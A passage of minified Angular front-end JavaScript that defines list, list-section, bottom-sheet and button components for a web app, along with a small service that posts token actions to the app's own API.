t=s.EpF();s.TgZ(0,"mat-icon",45),s.NdJ("click",function(){s.CHM(t);const e=s.oxw(2);return e.openContextualHelp(e.listItem.helpElementId)}),s._uU(1," help "),s.qZA()}}function ut(t,e){if(1&t&&s.YNc(0,lt,2,0,"mat-icon",44),2&t){const t=s.oxw();s.Q6J("ngIf",t.listItem.helpElementId)}}let ht=(()=>{class t{constructor(t,e,n,i,r){this.actionService=t,this.analyticsService=e,this.featureFlagService=n,this.listService=i,this.dialog=r,this.selected=!1,this.hideLinkIcon=!1,this.showDivider=!1,this.itemClicked=new s.vpe,this.inlineItemClicked=new s.vpe,this.itemToggled=new s.vpe,this.listItemType=a.GyU}get leftIcon(){return this.getIcon(0)}get rightIcon(){return this.getIcon(1)}get emptyStateIcon(){return this.getIcon(0)}get iconType(){return this.listService.isNavType(this.listItem)?"arrow_forward":null}get displayCaption(){return this.listItem.type===a.GyU.STANDARD&&(!this.rightIcon||this.hideLinkIcon)}get displayRightIcon(){return!(!this.rightIcon||this.displayInLineButton)}get isNavType(){return this.listService.isNavType(this.listItem)}get isSelectType(){return this.listService.isSelectType(this.listItem)}get isEmptyType(){return this.listService.isEmptyType(this.listItem)}get displayInLineButton(){var t,e;return this.listService.isInlineButton(this.listItem)&&2===(null===(e=null===(t=this.listItem)||void 0===t?void 0:t.actions)||void 0===e?void 0:e.length)}get inlineButtonText(){var t,e,n;return(null===(n=(null!==(e=null===(t=this.listItem)||void 0===t?void 0:t.actions)&&void 0!==e?e:[])[1])||void 0===n?void 0:n.name)||""}get isInlineButtonInteractive(){return!(!this.inlineItemAction||!this.listService.isInlineButtonInteractive(this.inlineItemAction))}ngOnInit(){!this.listItem||(this.processLinkUrl(),this.buildToggleControl(),this.listItem.actions&&(this.listItemAction=this.listItem.actions[0],this.inlineItemAction=this.listItem.actions[1]))}listItemClicked(){!this.listItemAction||this.itemClicked.emit(this.listItemAction)}listItemInlineButtonClicked(t){var e;t.stopPropagation(),this.inlineItemAction?(null===(e=this.listItem)||void 0===e?void 0:e.dialog)?this.processInlineItemDialog():this.inlineItemClicked.emit(this.inlineItemAction):this.listItemClicked()}processInlineItemDialog(){var t;(null===(t=this.listItem)||void 0===t?void 0:t.dialog)&&this.dialog.open(S.a,{data:this.listItem.dialog,maxWidth:"540px"}).afterClosed().subscribe(t=>{this.onInlineItemDialogClose(t)})}onInlineItemDialogClose(t){var e;if(!t)return;const n=this.createPrimaryDialogAction(this.listItem.dialog);this.analyticsService.logEvent(null===(e=this.inlineItemAction)||void 0===e?void 0:e.event),n?(this.analyticsService.logEvent(null==n?void 0:n.event),this.inlineItemClicked.emit(n)):this.inlineItemClicked.emit(this.inlineItemAction)}createPrimaryDialogAction(t){var e;return(null===(e=null==t?void 0:t.primaryAction)||void 0===e?void 0:e.id)?this.createActionFromDialogAction(t.primaryAction):null}createActionFromDialogAction(t){const{id:e,name:n,event:i,url:s}=t;return{id:e,name:n,event:i,url:s}}openContextualHelp(t){this.dialog.open(w.X,{data:{helpElementId:t}})}preventRipple(t,e=!0){e&&t.stopPropagation()}isLunoV3(){return this.featureFlagService.isEnabled("luno_v3")}buildToggleControl(){!this.toggleConfig||(this.toggleControl=new y.NI(this.toggleConfig.value),this.toggleControl.valueChanges.subscribe(t=>{this.itemToggled.emit(t)}))}getIcon(t){return this.listItem.icons&&this.listItem.icons.length&&this.listItem.icons[t]&&this.listItem.icons[t].url?this.listItem.icons[t]:null}processLinkUrl(){this.listService.isNavType(this.listItem)&&(this.listItem.actions[0].url=this.actionService.getUrl(this.listItem.actions[0].url),this.url=this.listItem.actions[0].url)}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(x.c),s.Y36(C.y),s.Y36(c.a),s.Y36(l),s.Y36(E.uw))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-list-item"]],inputs:{listItem:"listItem",toggleConfig:"toggleConfig",selected:"selected",hideLinkIcon:"hideLinkIcon",showDivider:"showDivider"},outputs:{itemClicked:"itemClicked",inlineItemClicked:"inlineItemClicked",itemToggled:"itemToggled"},decls:9,vars:2,consts:[[4,"ngIf","ngIfElse"],["isNotEmptyType",""],["contentTemplate",""],["emptyStateTemplate",""],["contextualHelpIcon",""],[4,"ngTemplateOutlet"],[3,"action",4,"ngIf"],[4,"ngIf"],[3,"action"],[3,"click",4,"ngIf"],["checkboxPosition","before",3,"selected","value",4,"ngIf"],[3,"click"],["matListAvatar","",3,"ngStyle","src",4,"ngIf"],["matLine","","class","overline",4,"ngIf"],["matLine","","class","subtitle label-html",3,"innerHtml",4,"ngIf","ngIfElse"],["label",""],["matLine","","class","sublabel",4,"ngIf"],["matLine","","class","base",3,"innerHTML",4,"ngIf"],["matSuffix","","class","caption",4,"ngIf"],["matSuffix","",3,"src",4,"ngIf"],["matSuffix","",3,"config","formControl",4,"ngIf"],[3,"action","clicked",4,"ngIf"],["inset","true",4,"ngIf"],["matListAvatar","",3,"ngStyle","src"],["matLine","",1,"overline"],["matLine","",1,"subtitle","label-html",3,"innerHtml"],["matLine","","class","subtitle",4,"ngIf"],["matLine","",1,"subtitle"],["matLine","",1,"sublabel"],["matLine","",1,"base",3,"innerHTML"],["matSuffix","",1,"caption"],["matSuffix","",3,"src"],["matSuffix","",3,"config","formControl"],[3,"action","clicked"],["matSuffix","",1,"inline-button",3,"mousedown"],["inset","true"],["checkboxPosition","before",3,"selected","value"],["matLine","","class","subtitle with-checkbox",4,"ngIf"],["matLine","","class","base",4,"ngIf"],["matLine","",1,"subtitle","with-checkbox"],["matLine","",1,"base"],[1,"mat-list-item-empty"],[3,"ngStyle","src",4,"ngIf"],[3,"ngStyle","src"],["class","help-tooltip",3,"click",4,"ngIf"],[1,"help-tooltip",3,"click"]],template:function(t,e){if(1&t&&(s.YNc(0,R,2,1,"ng-container",0),s.YNc(1,M,2,2,"ng-template",null,1,s.W1O),s.YNc(3,ot,2,2,"ng-template",null,2,s.W1O),s.YNc(5,ct,5,2,"ng-template",null,3,s.W1O),s.YNc(7,ut,1,1,"ng-template",null,4,s.W1O)),2&t){const t=s.MAs(2);s.Q6J("ngIf",e.isEmptyType)("ngIfElse",t)}},directives:[o.O5,o.tP,k.t,b.Tg,b.eA,o.PC,T.X2,A.n,y.JJ,y.oH,I.d,b.vS,d.Hw],styles:[".mat-list-item[_ngcontent-%COMP%]{text-align:left;height:auto!important;height:initial!important}.mat-list-item[_ngcontent-%COMP%]   .overline[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:800;line-height:1.1;font-size:10px;font-weight:500;text-transform:uppercase;margin-bottom:5px}.mat-list-item[_ngcontent-%COMP%]   .overline[_ngcontent-%COMP%] > mat-icon[_ngcontent-%COMP%]{color:#bdbdbd;font-size:16px;cursor:pointer;position:relative;top:4px}.mat-list-item[_ngcontent-%COMP%]   .subtitle[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:800;line-height:1.1;font-size:16px;line-height:1.428571429;color:inherit}.mat-list-item[_ngcontent-%COMP%]   .subtitle[_ngcontent-%COMP%] + .sublabel[_ngcontent-%COMP%]{margin-top:-4px}.mat-list-item[_ngcontent-%COMP%]   .subtitle[_ngcontent-%COMP%] + .base[_ngcontent-%COMP%]{margin-top:-4px}.mat-list-item[_ngcontent-%COMP%]   .subtitle.with-checkbox[_ngcontent-%COMP%]{font-weight:400}.mat-list-item[_ngcontent-%COMP%]   .subtitle[_ngcontent-%COMP%] > mat-icon[_ngcontent-%COMP%]{color:#bdbdbd;font-size:16px;cursor:pointer;position:relative;top:4px;top:3px}.mat-list-item[_ngcontent-%COMP%]   .label-html[_ngcontent-%COMP%]{font-weight:400}.mat-list-item[_ngcontent-%COMP%]   .sublabel[_ngcontent-%COMP%]{color:#757575;font-size:12px;line-height:1.428571429;font-size:12px!important}.mat-list-item[_ngcontent-%COMP%]   .sublabel[_ngcontent-%COMP%] + .base[_ngcontent-%COMP%]{margin-top:-6px}.mat-list-item[_ngcontent-%COMP%]   .base[_ngcontent-%COMP%]{font-size:14px!important;line-height:1.428571429}.mat-list-item[_ngcontent-%COMP%]   .caption[_ngcontent-%COMP%]{margin-bottom:8px;white-space:nowrap}.mat-list-item[_ngcontent-%COMP%]   .not-link-type[_ngcontent-%COMP%]{cursor:default}.mat-list-item[_ngcontent-%COMP%]   .inline-button[_ngcontent-%COMP%]{color:#12326b;font-size:12px;line-height:1.428571429;background-color:#e2f1ff;border-radius:4px;box-sizing:border-box;color:#0091ff;cursor:pointer;display:inline-block;font-weight:800;height:24px;line-height:1.33;margin-top:-9px;padding:4px 6px;text-align:center;text-transform:uppercase;-webkit-user-select:none;-moz-user-select:none;user-select:none;position:relative;top:5px}.mat-list-item[_ngcontent-%COMP%]   .inline-button[_ngcontent-%COMP%]:hover{background-color:#baddff}.mat-list-item[_ngcontent-%COMP%]   .inline-button[_ngcontent-%COMP%]:hover{background-color:#e2f1ff;cursor:inherit}.mat-list-item[_ngcontent-%COMP%]   .inline-button.interactive[_ngcontent-%COMP%]:hover{background-color:#baddff;cursor:pointer}.mat-list-item[_ngcontent-%COMP%]   .inline-button.luno-v3[_ngcontent-%COMP%]{color:#12326b;font-size:12px;line-height:1.428571429;background-color:var(--color-secondary-background);border-radius:4px;box-sizing:border-box;color:var(--color-secondary);cursor:pointer;display:inline-block;font-weight:800;height:24px;line-height:1.33;margin-top:-9px;padding:4px 6px;text-align:center;text-transform:uppercase;-webkit-user-select:none;-moz-user-select:none;user-select:none;position:relative;top:5px}.mat-list-item[_ngcontent-%COMP%]   .inline-button.luno-v3[_ngcontent-%COMP%]:hover{background-color:var(--color-secondary-background-lighter)}.mat-list-item[_ngcontent-%COMP%]   .mat-line[_ngcontent-%COMP%]{white-space:normal;padding-right:4px}.mat-list-item[_ngcontent-%COMP%]   .mat-line[_ngcontent-%COMP%]:not(:last-child){margin-bottom:8px}[_nghost-%COMP%]     .mat-list-text{min-height:24px;justify-content:center}[_nghost-%COMP%]     .mat-list-item .mat-list-item-content{padding:16px!important}[_nghost-%COMP%]     .mat-list-item .caption{align-self:flex-start}[_nghost-%COMP%]     .mat-list-option .mat-pseudo-checkbox-checked{background-color:#0091ff}[_nghost-%COMP%]     luno-hyperlink>a{text-decoration:none!important}.mat-list-avatar[_ngcontent-%COMP%]{margin-top:4px;border-radius:0!important;align-self:flex-start;-o-object-fit:contain!important;object-fit:contain!important}mat-icon[_ngcontent-%COMP%]{color:#0091ff}.mat-list-item-empty[_ngcontent-%COMP%]{align-items:center;display:flex;flex-flow:column nowrap;width:100%}.luno_v3[_nghost-%COMP%]   .mat-list-item[_ngcontent-%COMP%]   .subtitle[_ngcontent-%COMP%] > mat-icon.help-tooltip[_ngcontent-%COMP%], .luno_v3   [_nghost-%COMP%]   .mat-list-item[_ngcontent-%COMP%]   .subtitle[_ngcontent-%COMP%] > mat-icon.help-tooltip[_ngcontent-%COMP%]{color:var(--color-tertiary)}.luno_v3[_nghost-%COMP%]   .sublabel[_ngcontent-%COMP%], .luno_v3   [_nghost-%COMP%]   .sublabel[_ngcontent-%COMP%]{color:var(--color-primary)}"]}),t})();function dt(t,e){1&t&&s.GkF(0)}function pt(t,e){if(1&t&&(s.TgZ(0,"luno-expansion-panel",3),s.YNc(1,dt,1,0,"ng-container",4),s.qZA()),2&t){const t=s.oxw(2),e=s.MAs(3);s.Q6J("title",t.listSection.title)("isCollapsible",t.listSection.isCollapsible),s.xp6(1),s.Q6J("ngTemplateOutlet",e)}}function ft(t,e){1&t&&s.GkF(0)}function mt(t,e){if(1&t&&(s.ynx(0),s.TgZ(1,"h5"),s._uU(2),s.qZA(),s.YNc(3,ft,1,0,"ng-container",4),s.BQk()),2&t){const t=s.oxw(2),e=s.MAs(3);s.xp6(1),s.ekj("luno-v3",t.isLunoV3()),s.xp6(1),s.Oqu(t.listSection.title),s.xp6(1),s.Q6J("ngTemplateOutlet",e)}}function gt(t,e){if(1&t&&(s.ynx(0),s.YNc(1,pt,2,3,"luno-expansion-panel",2),s.YNc(2,mt,4,4,"ng-container",0),s.BQk()),2&t){const t=s.oxw();s.xp6(1),s.Q6J("ngIf",!t.isGroupingHeading()),s.xp6(1),s.Q6J("ngIf",t.isGroupingHeading())}}function _t(t,e){1&t&&s.GkF(0)}function vt(t,e){if(1&t&&(s.ynx(0),s.YNc(1,_t,1,0,"ng-container",4),s.BQk()),2&t){s.oxw();const t=s.MAs(3);s.xp6(1),s.Q6J("ngTemplateOutlet",t)}}function bt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"mat-list"),s.TgZ(1,"luno-list-item",8),s.NdJ("itemClicked",function(e){return s.CHM(t),s.oxw(3).onItemClicked(e)})("inlineItemClicked",function(e){return s.CHM(t),s.oxw(3).onInlineItemClicked(e)})("itemToggled",function(e){s.CHM(t);const n=s.oxw().$implicit;return s.oxw(2).onItemToggled(n,e)}),s.qZA(),s.qZA()}if(2&t){const t=s.oxw(),e=t.$implicit,n=t.last,i=s.oxw(2);s.xp6(1),s.Q6J("listItem",e)("showDivider",!n&&i.showDivider)("toggleConfig",i.getToggleConfig(e))}}function yt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"mat-nav-list",9),s.TgZ(1,"luno-list-item",10),s.NdJ("itemClicked",function(e){return s.CHM(t),s.oxw(3).onItemClicked(e)})("inlineItemClicked",function(e){return s.CHM(t),s.oxw(3).onInlineItemClicked(e)}),s.qZA(),s.qZA()}if(2&t){const t=s.oxw(),e=t.$implicit,n=t.last,i=s.oxw(2);s.ekj("rounded",i.isRounded)("indent-item-on-hover",i.isItemIndentedOnHover),s.Q6J("disableRipple",i.isItemIndentedOnHover),s.xp6(1),s.Q6J("listItem",e)("showDivider",!n&&i.showDivider)}}function wt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"mat-selection-list",11),s.NdJ("selectionChange",function(e){s.CHM(t);const n=s.oxw().$implicit;return s.oxw(2).onSelectionChange(n,e)}),s._UZ(1,"luno-list-item",12),s.qZA()}if(2&t){const t=s.oxw(),e=t.$implicit,n=t.last,i=s.oxw(2);s.xp6(1),s.Q6J("listItem",e)("showDivider",!n&&i.showDivider)}}function xt(t,e){if(1&t&&(s.ynx(0),s.YNc(1,bt,2,3,"mat-list",0),s.YNc(2,yt,2,7,"mat-nav-list",6),s.YNc(3,wt,2,2,"mat-selection-list",7),s.BQk()),2&t){const t=e.$implicit,n=s.oxw(2);s.xp6(1),s.Q6J("ngIf",n.showMatList(t)),s.xp6(1),s.Q6J("ngIf",n.showNavList(t)),s.xp6(1),s.Q6J("ngIf",n.showSelectionList(t))}}function Ct(t,e){if(1&t&&s.YNc(0,xt,4,3,"ng-container",5),2&t){const t=s.oxw();s.Q6J("ngForOf",t.listSection.items)}}let St=(()=>{class t{constructor(t,e){this.featureFlagService=t,this.listService=e,this.showDivider=!0,this.isRounded=!1,this.isItemIndentedOnHover=!1,this.itemClicked=new s.vpe,this.inlineItemClicked=new s.vpe,this.itemToggled=new s.vpe,this.ListSectionStyle=a.d9x}isGroupingHeading(){return(0,u.G)(a.d9x,this.listSection.style,a.d9x.GROUPING)}showMatList(t){return this.listService.isDefaultType(t)}showNavList(t){return this.listService.isNavType(t)}showSelectionList(t){return this.listService.isSelectType(t)}onItemClicked(t){this.itemClicked.emit(t)}onInlineItemClicked(t){this.inlineItemClicked.emit(t)}onItemToggled(t,e){t.isActive=e,this.itemToggled.emit(t)}onSelectionChange(t,e){t.isActive=e.option.selected,this.itemToggled.emit(t)}getToggleConfig(t){return{value:t.isActive}}isLunoV3(){return this.featureFlagService.isEnabled("luno_v3")}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(c.a),s.Y36(l))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-list-section"]],inputs:{listSection:"listSection",showDivider:"showDivider",isRounded:"isRounded",isItemIndentedOnHover:"isItemIndentedOnHover"},outputs:{itemClicked:"itemClicked",inlineItemClicked:"inlineItemClicked",itemToggled:"itemToggled"},decls:4,vars:2,consts:[[4,"ngIf"],["listSectionTemplate",""],["collapsedHeight","50px","expandedHeight","50px",3,"title","isCollapsible",4,"ngIf"],["collapsedHeight","50px","expandedHeight","50px",3,"title","isCollapsible"],[4,"ngTemplateOutlet"],[4,"ngFor","ngForOf"],[3,"rounded","indent-item-on-hover","disableRipple",4,"ngIf"],[3,"selectionChange",4,"ngIf"],[3,"listItem","showDivider","toggleConfig","itemClicked","inlineItemClicked","itemToggled"],[3,"disableRipple"],[3,"listItem","showDivider","itemClicked","inlineItemClicked"],[3,"selectionChange"],[3,"listItem","showDivider"]],template:function(t,e){1&t&&(s.YNc(0,gt,3,2,"ng-container",0),s.YNc(1,vt,2,1,"ng-container",0),s.YNc(2,Ct,1,1,"ng-template",null,1,s.W1O)),2&t&&(s.Q6J("ngIf",e.listSection.title),s.xp6(1),s.Q6J("ngIf",!e.listSection.title))},directives:[o.O5,v,o.tP,o.sg,b.i$,ht,b.Hk,b.Ub],styles:[".mat-list-base[_ngcontent-%COMP%]{padding-top:0}h5[_ngcontent-%COMP%]{font-size:12px;font-weight:800;text-transform:uppercase;color:#bdbdbd;text-align:left;margin:16px 16px 8px}h5.luno-v3[_ngcontent-%COMP%]{color:var(--color-primary)}[_nghost-%COMP%]     .indent-item-on-hover .mat-list-item{transition:all .4s ease}[_nghost-%COMP%]     .indent-item-on-hover .mat-list-item .mat-list-item-content{padding-left:0!important;transition:all .4s ease}[_nghost-%COMP%]     .indent-item-on-hover .mat-list-item:hover, [_nghost-%COMP%]     .indent-item-on-hover .mat-list-item :focus{background:#e2f1ff}[_nghost-%COMP%]     .indent-item-on-hover .mat-list-item:hover .mat-list-item-content, [_nghost-%COMP%]     .indent-item-on-hover .mat-list-item :focus .mat-list-item-content{padding-left:8px!important}[_nghost-%COMP%]     .mat-expansion-panel-header{padding-left:16px}[_nghost-%COMP%]     .mat-expansion-panel-body{padding:0}[_nghost-%COMP%]     mat-nav-list.rounded .mat-list-item{border-radius:8px}[_nghost-%COMP%]     mat-nav-list.rounded .mat-list-item-ripple{border-radius:8px}.luno_v3   [_nghost-%COMP%]     .indent-item-on-hover .mat-list-item:hover, .luno_v3   [_nghost-%COMP%]     .indent-item-on-hover .mat-list-item :focus{background:var(--color-neutral-100)}"]}),t})();function Et(t,e){if(1&t&&s._UZ(0,"h3",2),2&t){const t=s.oxw();s.Q6J("innerHtml",t.list.title,s.oJD)}}function kt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-list-section",3),s.NdJ("itemClicked",function(e){return s.CHM(t),s.oxw().onItemClicked(e)})("inlineItemClicked",function(e){return s.CHM(t),s.oxw().onInlineItemClicked(e)})("itemToggled",function(e){return s.CHM(t),s.oxw().onItemToggled(e)}),s.qZA()}if(2&t){const t=e.$implicit,n=s.oxw();s.Q6J("listSection",t)("showDivider",n.list.showDivider)("isRounded",n.isRounded)("isItemIndentedOnHover",n.isItemIndentedOnHover)}}let Tt=(()=>{class t{constructor(){this.isRounded=!1,this.isItemIndentedOnHover=!1,this.itemClicked=new s.vpe,this.inlineItemClicked=new s.vpe,this.itemToggled=new s.vpe}onItemClicked(t){this.itemClicked.emit(t)}onInlineItemClicked(t){this.inlineItemClicked.emit(t)}onItemToggled(t){this.itemToggled.emit(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-list"]],inputs:{list:"list",isRounded:"isRounded",isItemIndentedOnHover:"isItemIndentedOnHover"},outputs:{itemClicked:"itemClicked",inlineItemClicked:"inlineItemClicked",itemToggled:"itemToggled"},decls:2,vars:2,consts:[["class","list-title",3,"innerHtml",4,"ngIf"],[3,"listSection","showDivider","isRounded","isItemIndentedOnHover","itemClicked","inlineItemClicked","itemToggled",4,"ngFor","ngForOf"],[1,"list-title",3,"innerHtml"],[3,"listSection","showDivider","isRounded","isItemIndentedOnHover","itemClicked","inlineItemClicked","itemToggled"]],template:function(t,e){1&t&&(s.YNc(0,Et,1,1,"h3",0),s.YNc(1,kt,1,4,"luno-list-section",1)),2&t&&(s.Q6J("ngIf",e.list&&e.list.title&&e.list.sections&&e.list.sections.length>0),s.xp6(1),s.Q6J("ngForOf",e.list.sections))},directives:[o.O5,o.sg,St],styles:[""]}),t})();function At(t,e){if(1&t&&(s.TgZ(0,"h2"),s._uU(1),s.qZA()),2&t){const t=s.oxw();s.xp6(1),s.Oqu(t.bottomSheet.title)}}let It=(()=>{class t{constructor(t,e){this.data=t,this.bottomSheetRef=e,this.itemSelected=new s.vpe}ngOnInit(){this.bottomSheet=this.data.bottomSheet,this.list={sections:[{items:this.bottomSheet.items}]}}onItemSelected(t){this.itemSelected.emit(t),this.bottomSheetRef.dismiss()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(r.OG),s.Y36(r.oL))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-bottom-sheet"]],decls:2,vars:3,consts:[[4,"ngIf"],[3,"list","isRounded","itemClicked"]],template:function(t,e){1&t&&(s.YNc(0,At,2,1,"h2",0),s.TgZ(1,"luno-list",1),s.NdJ("itemClicked",function(t){return e.onItemSelected(t)}),s.qZA()),2&t&&(s.Q6J("ngIf",e.bottomSheet.title),s.xp6(1),s.Q6J("list",e.list)("isRounded",!0))},directives:[o.O5,Tt],styles:[""]}),t})();const Ot=["rounded-corners"];var Rt=n(81134),Pt=n(14921),Nt=n(33927),Dt=n(18293),Lt=n(30706),Mt=n(51257);let Ft=(()=>{class t{constructor(t,e){this.http=t,this.snackbarService=e}executeAction(t){return this.callApi(t).pipe((0,Pt.b)(t=>{t.popupMessage&&this.snackbarService.open(t.popupMessage,t.popupActionName)}),(0,Nt.U)(()=>!0),(0,Dt.K)(t=>(this.snackbarService.open(t.message,""),(0,Rt.of)(!1))))}callApi(t){return this.http.post("/ajax/1/token_action",{token:t})}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(Lt.OE),s.LFG(Mt.o))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var Ut=n(12815);function Bt(t,e){1&t&&s.GkF(0)}function jt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-submit-button",5),s.NdJ("clicked",function(e){return s.CHM(t),s.oxw(2).onClick(e)}),s.YNc(1,Bt,1,0,"ng-container",6),s.qZA()}if(2&t){const t=s.oxw(2),e=s.MAs(2);s.Q6J("buttonType",t.buttonType)("isDisabled",t.isDisabled)("textColor",t.textColor)("themePalette",t.themePalette),s.xp6(1),s.Q6J("ngTemplateOutlet",e)}}function Ht(t,e){1&t&&s.GkF(0)}function Vt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-anchor-without-url-button",5),s.NdJ("clicked",function(e){return s.CHM(t),s.oxw(2).onClick(e)}),s.YNc(1,Ht,1,0,"ng-container",6),s.qZA()}if(2&t){const t=s.oxw(2),e=s.MAs(2);s.Q6J("buttonType",t.buttonType)("isDisabled",t.isDisabled)("textColor",t.textColor)("themePalette",t.themePalette),s.xp6(1),s.Q6J("ngTemplateOutlet",e)}}function Gt(t,e){1&t&&s.GkF(0)}function Yt(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-anchor-with-url-button",7),s.NdJ("clicked",function(e){return s.CHM(t),s.oxw(2).onClick(e)}),s.YNc(1,Gt,1,0,"ng-container",6),s.qZA()}if(2&t){const t=s.oxw(2),e=s.MAs(2);s.Q6J("buttonType",t.buttonType)("button",t.button)("params",t.params)("isDisabled",t.isDisabled)("isExternalLink",t.isExternalLink)("shouldOpenInNewWindow",t.shouldOpenInNewWindow)("rel",t.rel)("textColor",t.textColor)("themePalette",t.themePalette)("projectAssetsUrl",t.projectAssetsUrl),s.xp6(1),s.Q6J("ngTemplateOutlet",e)}}function qt(t,e){if(1&t&&(s.ynx(0,2),s.YNc(1,jt,2,5,"luno-submit-button",3),s.YNc(2,Vt,2,5,"luno-anchor-without-url-button",3),s.YNc(3,Yt,2,11,"luno-anchor-with-url-button",4),s.BQk()),2&t){const t=s.oxw();s.Q6J("ngSwitch",t.displayType),s.xp6(1),s.Q6J("ngSwitchCase",t.buttonDisplayType.SUBMIT_BUTTON),s.xp6(1),s.Q6J("ngSwitchCase",t.buttonDisplayType.ANCHOR_WITHOUT_URL),s.xp6(1),s.Q6J("ngSwitchCase",t.buttonDisplayType.ANCHOR_WITH_URL)}}function $t(t,e){if(1&t&&(s.ynx(0),s._uU(1),s.BQk()),2&t){const t=s.oxw(2);s.xp6(1),s.Oqu(t.button.action.name)}}function zt(t,e){if(1&t&&(s.TgZ(0,"mat-icon"),s._UZ(1,"mat-spinner",9),s.qZA()),2&t){const t=s.oxw(2);s.xp6(1),s.ekj("white-spinner",t.useWhiteLoader)}}function Zt(t,e){if(1&t&&(s.YNc(0,$t,2,1,"ng-container",8),s.YNc(1,zt,2,2,"mat-icon",8)),2&t){const t=s.oxw();s.Q6J("ngIf",!t.isButtonLoading&&t.button),s.xp6(1),s.Q6J("ngIf",t.isButtonLoading)}}var Wt=(()=>{return(t=Wt||(Wt={}))[t.PRIMARY=0]="PRIMARY",t[t.SECONDARY=1]="SECONDARY",t[t.SOCIAL=2]="SOCIAL",t[t.TERTIARY=3]="TERTIARY",Wt;var t})(),Jt=(()=>{return(t=Jt||(Jt={}))[t.ANCHOR_WITH_URL=0]="ANCHOR_WITH_URL",t[t.ANCHOR_WITHOUT_URL=1]="ANCHOR_WITHOUT_URL",t[t.SUBMIT_BUTTON=2]="SUBMIT_BUTTON",Jt;var t})();class Qt{constructor(t,e,n,i,r){this.actionService=t,this.analyticsService=e,this.bottomSheet=n,this.dialog=i,this.tokenActionService=r,this.isDisabled=!1,this.isLoading=!1,this.isNormalCase=!1,this.dialogMaxWidth="540px",this.tokenActionComplete=new s.vpe,this.clicked=new s.vpe,this.bottomSheetItemSelected=new s.vpe,this.isPrimaryClass=!1,this.isSecondaryClass=!1,this.isTertiaryClass=!1,this.isGuideClass=!1,this.isNormalCaseClass=!1,this.buttonTypeEnum=Wt,this.isExternalLink=!1,this.shouldOpenInNewWindow=!1,this.rel=null,this.params={},this.buttonDisplayType=Jt,this.displayType=Jt.ANCHOR_WITHOUT_URL,this.isClicked=!1}set button(t){if(t){if(this.setButtonType(t),this.hasUrl(t)){this.isExternalLink=this.actionService.isExternalLink(t.action.url),this.shouldOpenInNewWindow=this.actionService.shouldOpenInNewWindow(t.action.url);const e=this.actionService.isTrustedUrl(t.action.url);this.rel=this.shouldOpenInNewWindow?e?"opener":"noopener":null,this.params=this.actionService.getParams(t.action.url),t.action.url=this.isExternalLink?this.actionService.getUrl(t.action.url):this.actionService.getUrlWithoutParams(t.action.url)}this.setButtonDisplayType(t),this._button=t}}set themePalette(t){this._themePalette=t}get button(){return this._button}get useWhiteLoader(){return this.isPrimaryClass&&!this.isGuideClass}get themePalette(){return this._themePalette||"primary"}get isButtonLoading(){return this.isLoading&&this.isClicked}ngOnInit(){this.isNormalCaseClass=this.isNormalCase}onClick(t){if(this.isClicked=!0,!this.isLoading&&this.button){if(this.isDisabled)return void t.preventDefault();if(this.isExternalLink)return this.analyticsService.logEvent(this.button.action&&this.button.action.event),void this.clicked.emit(this.button);if((this.displayType===Jt.ANCHOR_WITHOUT_URL||this.displayType===Jt.ANCHOR_WITH_URL)&&t.preventDefault(),this.hasDialogType())return void this.processDialog();this.hasBottomSheetType()&&this.processBottomSheet(),this.processTokenAction(),this.analyticsService.logEvent(this.button.action&&this.button.action.event),this.clicked.emit(this.button)}}onIsLoadingChange(t){t||(this.isClicked=!1)}setButtonType(t){if((0,u.G)(a.Ta6,t.action.type,a.Ta6.SOCIAL_SIGN_IN))this.buttonType=Wt.SOCIAL;else{switch((0,u.I)(a.gw3,t.action.style)){case a.gw3.PRIMARY:case a.gw3.PRIMARY_UPGRADE:case a.gw3.PRIMARY_GUIDE:case a.gw3.UNKNOWN_STYLE:this.buttonType=Wt.PRIMARY;break;case a.gw3.SECONDARY:case a.gw3.SECONDARY_UPGRADE:this.buttonType=Wt.SECONDARY;break;case a.gw3.TERTIARY:this.buttonType=Wt.TERTIARY;break;case a.gw3.APPLE:case a.gw3.FACEBOOK:case a.gw3.GOOGLE:this.buttonType=Wt.SOCIAL}switch((0,u.I)(a.gw3,t.action.style)){case a.gw3.PRIMARY:case a.gw3.PRIMARY_UPGRADE:case a.gw3.UNKNOWN_STYLE:this.isPrimaryClass=!0;break;case a.gw3.PRIMARY_GUIDE:this.isPrimaryClass=!0,this.isGuideClass=!0;break;case a.gw3.SECONDARY:case a.gw3.SECONDARY_UPGRADE:this.isSecondaryClass=!0;break;case a.gw3.TERTIARY:this.isTertiaryClass=!0}}}hasDialogType(){return!!this.button&&(0,u.G)(a.Ta6,this.button.action.type,a.Ta6.DIALOG)}hasBottomSheetType(){return!!this.button&&(0,u.G)(a.Ta6,this.button.action.type,a.Ta6.BOTTOM_SHEET)}hasTokenType(){return!!this.button&&(0,u.G)(a.Ta6,this.button.action.type,a.Ta6.TOKEN_ACTION)}processTokenAction(){var t,e;if((null===(t=this.button)||void 0===t?void 0:t.action.type)&&!this.hasTokenType()||!(null===(e=this.button)||void 0===e?void 0:e.action.token))return;const n=this.actionService.getParsedToken(this.button.action.token);this.tokenActionService.executeAction(n).subscribe(t=>this.tokenActionComplete.emit(t),()=>this.tokenActionComplete.emit(!1))}processDialog(){this.button&&this.dialog.open(S.a,{data:this.button.dialog,maxWidth:this.dialogMaxWidth}).afterClosed().subscribe(t=>{this.onDialogClose(t)})}onDialogClose(t){var e,n;if(!this.button||!t)return;const i=this.createPrimaryDialogButton(this.button.dialog);this.analyticsService.logEvent(null===(e=this.button.action)||void 0===e?void 0:e.event),this.analyticsService.logEvent(null===(n=null==i?void 0:i.action)||void 0===n?void 